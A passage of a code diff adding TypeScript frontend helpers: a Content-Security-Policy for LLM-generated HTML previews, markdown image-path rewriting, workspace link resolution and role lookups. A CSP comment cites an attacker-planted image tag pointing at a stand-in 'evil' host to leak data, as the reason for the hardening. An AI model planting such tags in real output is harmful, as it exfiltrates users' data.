+ // whitelist, plus data: and blob: for inline PNGs and dynamically-
35
+ // generated charts. Wildcard is deliberately avoided — an attacker
36
+ // who plants an <img src="https://evil/?leak="> in preview HTML
37
+ // could exfiltrate data via image requests even with connect-src
38
+ // blocked. Widen via HTML_PREVIEW_CSP_ALLOWED_CDNS if LLM output
39
+ // legitimately needs more hosts.
40
+ `img-src 'self' ${cdnList} data: blob:`,
41
+ // Block XHR / fetch / WebSocket so previews can't phone home or
42
+ // exfiltrate anything the inline scripts happen to compute.
43
+ "connect-src 'none'",
44
+ ].join("; ");
45
+ }
46
+
47
+ const CSP_META_NONCE = ""; // reserved for future use (per-render nonce)
48
+
49
+ /**
50
+ * Inject a `<meta http-equiv="Content-Security-Policy">` tag into the
51
+ * HTML head. If the HTML has no `<head>`, wrap it as a full document
52
+ * with a synthetic head so the meta tag is honoured regardless.
53
+ *
54
+ * Pure — doesn't touch the DOM. Safe to use from both client and
55
+ * tests.
56
+ */
57
+ export function wrapHtmlWithPreviewCsp(html: string): string {
58
+ const csp = buildHtmlPreviewCsp();
59
+ const meta = `<meta http-equiv="Content-Security-Policy" content="${csp}">`;
60
+ if (/<head\b[^>]*>/i.test(html)) {
61
+ return html.replace(/(<head\b[^>]*>)/i, `$1${meta}`);
62
+ }
63
+ // No <head> — treat as fragment and wrap it.
64
+ return `<!DOCTYPE html><html><head>${meta}</head><body>${html}</body></html>${CSP_META_NONCE}`;
65
+ }
@@ -0,0 +1,8 @@
1
+ import { API_ROUTES } from "../../config/apiRoutes";
2
+
3
+ /** Convert an imageData value to a displayable URL.
4
+ * Handles both legacy data URIs and workspace-relative file paths. */
5
+ export function resolveImageSrc(imageData: string): string {
6
+ if (imageData.startsWith("data:")) return imageData;
7
+ return `${API_ROUTES.files.raw}?path=${encodeURIComponent(imageData)}`;
8
+ }
@@ -0,0 +1,182 @@
1
+ import { marked } from "marked";
2
+ import type { Token, Tokens } from "marked";
3
+ import { resolveImageSrc } from "./resolve";
4
+
5
+ // Pre-`marked` pass that rewrites workspace-relative image references
6
+ // in markdown source so they render through the backend file server.
7
+ //
8
+ // Without this, a page like `![chart](../images/foo.png)` produces
9
+ // `<img src="../images/foo.png">`, which the browser resolves against
10
+ // the SPA page URL (e.g. `/chat/…foo.png`) and 404s. After this
11
+ // pass, the src becomes `/api/files/raw?path=images/foo.png` which
12
+ // the workspace file server serves.
13
+ //
14
+ // Uses marked's tokenizer to find image refs rather than a raw regex
15
+ // over the source. The regex approach had two problems:
16
+ // - URLs containing `)` (e.g. `Foo_(bar).png`) were truncated at
17
+ // the first close paren.
18
+ // - `![x](y)` inside fenced code blocks or inline code spans was
19
+ // rewritten even though it's not meant to render as an image.
20
+ // The lexer handles both correctly.
21
+ //
22
+ // Callers that know the markdown file's directory (`basePath`) get
23
+ // correct resolution for `./` and `../` relative refs. Callers that
24
+ // omit `basePath` only resolve refs that are already workspace-rooted
25
+ // (no leading `./` or `../`); relative-with-traversal refs without
26
+ // context would be ambiguous, so they pass through untouched rather
27
+ // than silently pointing at the wrong file.
28
+ //
29
+ // Used by:
30
+ //
31
+ // - `src/plugins/wiki/View.vue`
32
+ // - `src/components/FilesView.vue` (when previewing a .md file)
33
+ // - `src/plugins/markdown/View.vue` (via post-`marked` HTML rewriter)
34
+
35
+ function shouldSkip(url: string): boolean {
36
+ if (url.startsWith("data:")) return true;
37
+ if (url.startsWith("http://") || url.startsWith("https://")) return true;
38
+ // Already an API route — nothing to do.
39
+ if (url.startsWith("/api/")) return true;
40
+ return false;
41
+ }
42
+
43
+ /**
44
+ * Resolve `url` relative to `basePath` using posix segment arithmetic.
45
+ * Returns the resolved workspace-relative path, or `null` if the URL
46
+ * escapes the workspace root (more `..` than `basePath` depth).
47
+ *
48
+ * Pure string operation — does not touch the filesystem or use Node's
49
+ * `path` module (this file runs in the browser).
50
+ */
51
+ function resolveWorkspacePath(basePath: string, url: string): string | null {
52
+ // Absolute-within-workspace (e.g. "/images/foo.png") — reset base.
53
+ const isAbsolute = url.startsWith("/");
54
+ const baseSegs = isAbsolute ? [] : basePath.split("/").filter((s) => s !== "" && s !== ".");
55
+ const segs = [...baseSegs];
56
+
57
+ const urlSegs = (isAbsolute ? url.slice(1) : url).split("/");
58
+ for (const seg of urlSegs) {
59
+ if (seg === "" || seg === ".") continue;
60
+ if (seg === "..") {
61
+ if (segs.length === 0) return null;
62
+ segs.pop();
63
+ continue;
64
+ }
65
+ segs.push(seg);
66
+ }
67
+ if (segs.length === 0) return null;
68
+ return segs.join("/");
69
+ }
70
+
71
+ // Extract the alt-text span `[...]` from an image ref `![alt](url...)`.
72
+ // CommonMark allows balanced nested brackets inside alt (`![x [y]](z)`),
73
+ // which a greedy regex would get wrong — scan with a depth counter and
74
+ // return the slice between the outermost brackets.
75
+ function extractBracketedAlt(raw: string): string | null {
76
+ if (!raw.startsWith("![")) return null;
77
+ let depth = 1;
78
+ for (let i = 2; i < raw.length; i++) {
79
+ const c = raw[i];
80
+ if (c === "[") depth++;
81
+ else if (c === "]") {
82
+ depth--;
83
+ if (depth === 0) return raw.slice(2, i);
84
+ }
85
+ }
86
+ return null;
87
+ }
88
+
89
+ function rewriteImageToken(token: Tokens.Image, basePath: string): string | null {
90
+ const href = (token.href ?? "").trim();
91
+ if (href === "" || shouldSkip(href)) return null;
92
+ const resolved = resolveWorkspacePath(basePath, href);
93
+ if (resolved === null) return null;
94
+ const newHref = resolveImageSrc(resolved);
95
+ // Preserve alt text verbatim — read from the raw so any special
96
+ // characters (brackets, entities) survive unmodified.
97
+ const alt = extractBracketedAlt(token.raw) ?? token.text ?? "";
98
+ if (token.title) {
99
+ const escapedTitle = token.title.replace(/"/g, '\\"');
100
+ return `![${alt}](${newHref} "${escapedTitle}")`;
101
+ }
102
+ return `![${alt}](${newHref})`;
103
+ }
104
+
105
+ function isSkippable(token: Token): boolean {
106
+ return token.type === "code" || token.type === "codespan" || token.type === "html";
107
+ }
108
+
109
+ function getContainerChildren(token: Token): Token[] | null {
110
+ const container = token as { tokens?: Token[]; items?: Token[] };
111
+ if (Array.isArray(container.tokens) && container.tokens.length > 0) {
112
+ return container.tokens;
113
+ }
114
+ if (Array.isArray(container.items) && container.items.length > 0) {
115
+ return container.items;
116
+ }
117
+ return null;
118
+ }
119
+
120
+ // Render a container's children back into the output, preserving any
121
+ // structural glue the parent carries outside the children's combined
122
+ // raw span (list markers, blockquote prefixes, trailing newlines).
123
+ // Returns true if the container was rendered via its children, false
124
+ // if the caller should fall back to emitting the parent's raw.
125
+ function renderContainerChildren(raw: string, children: Token[], basePath: string, out: string[]): boolean {
126
+ const joined = children.map((c) => (c as { raw?: string }).raw ?? "").join("");
127
+ if (joined === "") return false;
128
+ const idx = raw.indexOf(joined);
129
+ if (idx < 0) return false;
130
+ if (idx > 0) out.push(raw.slice(0, idx));
131
+ for (const child of children) renderToken(child, basePath, out);
132
+ const tail = raw.slice(idx + joined.length);
133
+ if (tail) out.push(tail);
134
+ return true;
135
+ }
136
+
137
+ // Recursively render a token back to markdown, rewriting image refs
138
+ // in-place. Code / codespan / html tokens are emitted verbatim so
139
+ // image-ref syntax inside them stays literal. Token-tree recursion
140
+ // uses the lexer's structural knowledge and never crosses a skip
141
+ // boundary — unlike the earlier `indexOf` splice which could rewrite
142
+ // a code-block literal when the same ref appeared in real markdown.
143
+ function renderToken(token: Token, basePath: string, out: string[]): void {
144
+ if (isSkippable(token)) {
145
+ out.push(token.raw);
146
+ return;
147
+ }
148
+ if (token.type === "image") {
149
+ const replacement = rewriteImageToken(token as Tokens.Image, basePath);
150
+ out.push(replacement ?? token.raw);
151
+ return;
152
+ }
153
+ const raw = (token as { raw?: string }).raw ?? "";
154
+ const children = getContainerChildren(token);
155
+ if (children && renderContainerChildren(raw, children, basePath, out)) {
156
+ return;
157
+ }
158
+ out.push(raw);
159
+ }
160
+
161
+ /**
162
+ * Rewrite `![alt](path)` image refs in markdown text so workspace-
163
+ * relative paths render through `/api/files/raw`.
164
+ *
165
+ * @param markdown Markdown source text.
166
+ * @param basePath The workspace-relative directory of the markdown
167
+ * file (e.g. `"wiki/pages"` for `wiki/pages/foo.md`). Omit or pass
168
+ * `""` when resolving refs against the workspace root.
169
+ *
170
+ * Absolute URLs, data URIs, and existing API paths pass through
171
+ * untouched. Refs that would escape the workspace root (more `..`
172
+ * than `basePath` depth) also pass through untouched — they would
173
+ * 404 regardless, and passing through lets the user see the broken
174
+ * ref instead of silently re-pointing it. Image-ref syntax inside
175
+ * code blocks / inline code spans is left alone.
176
+ */
177
+ export function rewriteMarkdownImageRefs(markdown: string, basePath: string = ""): string {
178
+ const tokens = marked.lexer(markdown);
179
+ const parts: string[] = [];
180
+ for (const token of tokens) renderToken(token, basePath, parts);
181
+ return parts.join("");
182
+ }
@@ -0,0 +1,39 @@
1
+ // Extract the first ATX-style H1 heading (`# title`) from a
2
+ // markdown string. Used by both:
3
+ // - server/journal/index.ts (topic row labels)
4
+ // - src/plugins/markdown/Preview.vue (document title)
5
+ //
6
+ // Implemented as a line walker rather than a regex so it avoids
7
+ // the backtracking risk that trips `sonarjs/slow-regex`. The
8
+ // accepted heading grammar matches the plugin's old regex
9
+ // `/^#\s+(.+)$/m`: `#`, at least one inline whitespace char, then
10
+ // non-empty content.
11
+
12
+ /**
13
+ * Return the trimmed text of the first H1 line, or null if none
14
+ * exists. An H1 is a line that starts with `#` followed by at
15
+ * least one whitespace char (space or tab) and at least one
16
+ * non-whitespace content char. `##` and deeper headings are
17
+ * skipped. Lines are separated by `\n`, `\r`, or `\r\n` —
18
+ * mirroring the old regex's `m`-flag `$` anchor which stops at
19
+ * either CR or LF.
20
+ */
21
+ export function extractFirstH1(markdown: string): string | null {
22
+ for (const line of splitLines(markdown)) {
23
+ if (line.length < 2 || line[0] !== "#") continue;
24
+ // Second char must be inline whitespace, not another `#`.
25
+ // That's what excludes `## H2` / `### H3` / etc.
26
+ if (!isInlineSpace(line.charCodeAt(1))) continue;
27
+ const text = line.slice(2).trim();
28
+ if (text.length > 0) return text;
29
+ }
30
+ return null;
31
+ }
32
+
33
+ function splitLines(s: string): string[] {
34
+ return s.split(/\r\n|\r|\n/);
35
+ }
36
+
37
+ function isInlineSpace(code: number): boolean {
38
+ return code === 0x20 || code === 0x09; // space or tab
39
+ }
@@ -0,0 +1,22 @@
1
+ // Pure mapping from NotificationAction → target view/session to navigate to.
2
+
3
+ import { NOTIFICATION_ACTION_TYPES, NOTIFICATION_VIEWS, type NotificationAction } from "../../types/notification";
4
+
5
+ // Views that map directly to a canvas view mode (excludes "chat"
6
+ // which is handled as a session navigation).
7
+ type CanvasNotificationView = "todos" | "scheduler" | "files";
8
+
9
+ export type NotificationTarget = { kind: "session"; sessionId: string } | { kind: "view"; view: CanvasNotificationView } | null;
10
+
11
+ /** Determine what the user should see after clicking a notification.
12
+ * Pure — the caller performs the actual navigation. */
13
+ export function resolveNotificationTarget(action: NotificationAction): NotificationTarget {
14
+ if (action.type !== NOTIFICATION_ACTION_TYPES.navigate) return null;
15
+ if (action.view === NOTIFICATION_VIEWS.chat && action.sessionId) {
16
+ return { kind: "session", sessionId: action.sessionId };
17
+ }
18
+ if (action.view === NOTIFICATION_VIEWS.todos || action.view === NOTIFICATION_VIEWS.scheduler || action.view === NOTIFICATION_VIEWS.files) {
19
+ return { kind: "view", view: action.view };
20
+ }
21
+ return null;
22
+ }
@@ -0,0 +1,130 @@
1
+ // Pure helpers used by FilesView to decide how to handle a click on
2
+ // an <a> inside rendered markdown. Kept free of DOM types so it can
3
+ // be exhaustively unit-tested.
4
+ //
5
+ // The two shipped functions are:
6
+ //
7
+ // - isExternalHref(href): should this click escape to the browser?
8
+ // - resolveWorkspaceLink(currentFile, href): resolve a markdown
9
+ // href to a workspace-relative path the file viewer can open.
10
+
11
+ // --- External URL detection ---------------------------------------
12
+
13
+ // Return true when `href` points at something that isn't inside the
14
+ // workspace (http/https/mailto/tel/custom schemes, protocol-relative
15
+ // URLs). The file viewer uses this to decide whether to let the
16
+ // default browser behaviour take over.
17
+ export function isExternalHref(href: string): boolean {
18
+ if (!href) return true;
19
+ // Protocol-relative (//example.com/foo) → external.
20
+ if (href.startsWith("//")) return true;
21
+ // Fast-path for the common schemes.
22
+ if (href.startsWith("http://") || href.startsWith("https://") || href.startsWith("mailto:") || href.startsWith("tel:") || href.startsWith("ftp://")) {
23
+ return true;
24
+ }
25
+ // Generic scheme detection: any "scheme:" prefix where the colon
26
+ // comes before the first slash is an external URL. Avoid a regex
27
+ // so we don't trip sonarjs/slow-regex.
28
+ const colonIdx = href.indexOf(":");
29
+ if (colonIdx > 0) {
30
+ const slashIdx = href.indexOf("/");
31
+ if (slashIdx === -1 || slashIdx > colonIdx) return true;
32
+ }
33
+ return false;
34
+ }
35
+
36
+ // --- Workspace link resolution ------------------------------------
37
+
38
+ // Given the workspace-relative path of the file currently being
39
+ // viewed (`currentFilePath`, e.g. "summaries/topics/refactoring.md")
40
+ // and the raw href of a clicked link, return the resolved workspace-
41
+ // relative path of the target file, or null if the link:
42
+ //
43
+ // - is external (handled by the browser instead)
44
+ // - is an anchor-only link (scroll, let the browser handle it)
45
+ // - would escape the workspace root via "../"
46
+ // - is empty or a pure query/fragment
47
+ //
48
+ // `#fragment` / `?query` suffixes are stripped — the file viewer
49
+ // only navigates by path.
50
+ export function resolveWorkspaceLink(currentFilePath: string, href: string): string | null {
51
+ if (!href) return null;
52
+ if (isExternalHref(href)) return null;
53
+ if (href.startsWith("#")) return null;
54
+
55
+ // Strip #fragment and ?query BEFORE joining so a pure-query href
56
+ // like "?foo=1" isn't smuggled into the current directory and
57
+ // resolved to the parent.
58
+ const cleaned = stripFragmentAndQuery(href);
59
+ if (cleaned.length === 0) return null;
60
+
61
+ // Workspace-absolute (starts with a single "/"): strip the slash
62
+ // and treat the rest as workspace-relative.
63
+ let joined: string;
64
+ if (cleaned.startsWith("/")) {
65
+ joined = cleaned.slice(1);
66
+ } else {
67
+ const currentDir = posixDirname(currentFilePath);
68
+ joined = currentDir === "" ? cleaned : `${currentDir}/${cleaned}`;
69
+ }
70
+
71
+ return normalizeWorkspacePath(joined);
72
+ }
73
+
74
+ // Drop any trailing #fragment or ?query from a path-like string.
75
+ // Whichever marker comes first wins.
76
+ function stripFragmentAndQuery(s: string): string {
77
+ const hashIdx = s.indexOf("#");
78
+ const queryIdx = s.indexOf("?");
79
+ let end = s.length;
80
+ if (hashIdx !== -1 && hashIdx < end) end = hashIdx;
81
+ if (queryIdx !== -1 && queryIdx < end) end = queryIdx;
82
+ return s.slice(0, end);
83
+ }
84
+
85
+ // If `resolvedPath` points at a chat session log (e.g.
86
+ // `chat/abc-123.jsonl`), return the session id. Used by the file
87
+ // viewer to recognise when a clicked markdown link should switch
88
+ // the active chat instead of opening the raw jsonl as a file.
89
+ //
90
+ // Nested paths under `chat/` (e.g. `chat/subdir/foo.jsonl`) return
91
+ // null — session ids cannot contain slashes, and we don't want to
92
+ // mis-identify unrelated files.
93
+ export function extractSessionIdFromPath(resolvedPath: string): string | null {
94
+ const CHAT_PREFIX = "chat/";
95
+ const JSONL_SUFFIX = ".jsonl";
96
+ if (!resolvedPath.startsWith(CHAT_PREFIX)) return null;
97
+ if (!resolvedPath.endsWith(JSONL_SUFFIX)) return null;
98
+ const id = resolvedPath.slice(CHAT_PREFIX.length, resolvedPath.length - JSONL_SUFFIX.length);
99
+ if (id.length === 0) return null;
100
+ if (id.includes("/")) return null;
101
+ return id;
102
+ }
103
+
104
+ // POSIX-style dirname. The file viewer always uses "/" separators
105
+ // so we don't need to worry about Windows paths.
106
+ function posixDirname(p: string): string {
107
+ const i = p.lastIndexOf("/");
108
+ return i === -1 ? "" : p.slice(0, i);
109
+ }
110
+
111
+ // Collapse "./" and "../" in a workspace path. Rejects paths that
112
+ // escape above the workspace root. Returns null for the empty-path
113
+ // case so the caller can bail out. Callers are expected to strip
114
+ // #fragment / ?query before invoking this function.
115
+ function normalizeWorkspacePath(p: string): string | null {
116
+ if (p.length === 0) return null;
117
+ const parts = p.split("/");
118
+ const stack: string[] = [];
119
+ for (const part of parts) {
120
+ if (part === "" || part === ".") continue;
121
+ if (part === "..") {
122
+ if (stack.length === 0) return null; // escape attempt
123
+ stack.pop();
124
+ continue;
125
+ }
126
+ stack.push(part);
127
+ }
128
+ if (stack.length === 0) return null;
129
+ return stack.join("/");
130
+ }
@@ -0,0 +1,20 @@
1
+ // Pure helpers that look up role metadata from a list of roles.
2
+ // Taking the role list as a parameter (instead of reading a Vue ref)
3
+ // keeps these dependency-free and unit-testable.
4
+
5
+ import type { Role } from "../../config/roles";
6
+
7
+ // Material Icon names use lowercase letters and underscores only.
8
+ // Custom roles may have stored an emoji or other freeform value in
9
+ // the icon field; fall back to a generic icon in that case so we
10
+ // don't render the literal text inside a Material Icons span.
11
+ const MATERIAL_ICON_RE = /^[a-z_]+$/;
12
+
13
+ export function roleIcon(roles: Role[], roleId: string): string {
14
+ const icon = roles.find((r) => r.id === roleId)?.icon ?? "star";
15
+ return MATERIAL_ICON_RE.test(icon) ? icon : "smart_toy";
16
+ }
17
+
18
+ export function roleName(roles: Role[], roleId: string): string {
19
+ return roles.find((r) => r.id === roleId)?.name ?? roleId;
20
+ }
@@ -0,0 +1,10 @@
1
+ // Pure helper for merging custom (server-loaded) roles into the
2
+ // built-in role list. Custom roles override built-ins with the
3
+ // same id, then any additional custom roles are appended.
4
+
5
+ import type { Role } from "../../config/roles";
6
+
7
+ export function mergeRoles(builtin: Role[], custom: Role[]): Role[] {
8
+ const customIds = new Set(custom.map((r) => r.id));
9
+ return [...builtin.filter((r) => !customIds.has(r.id)), ...custom];
10
+ }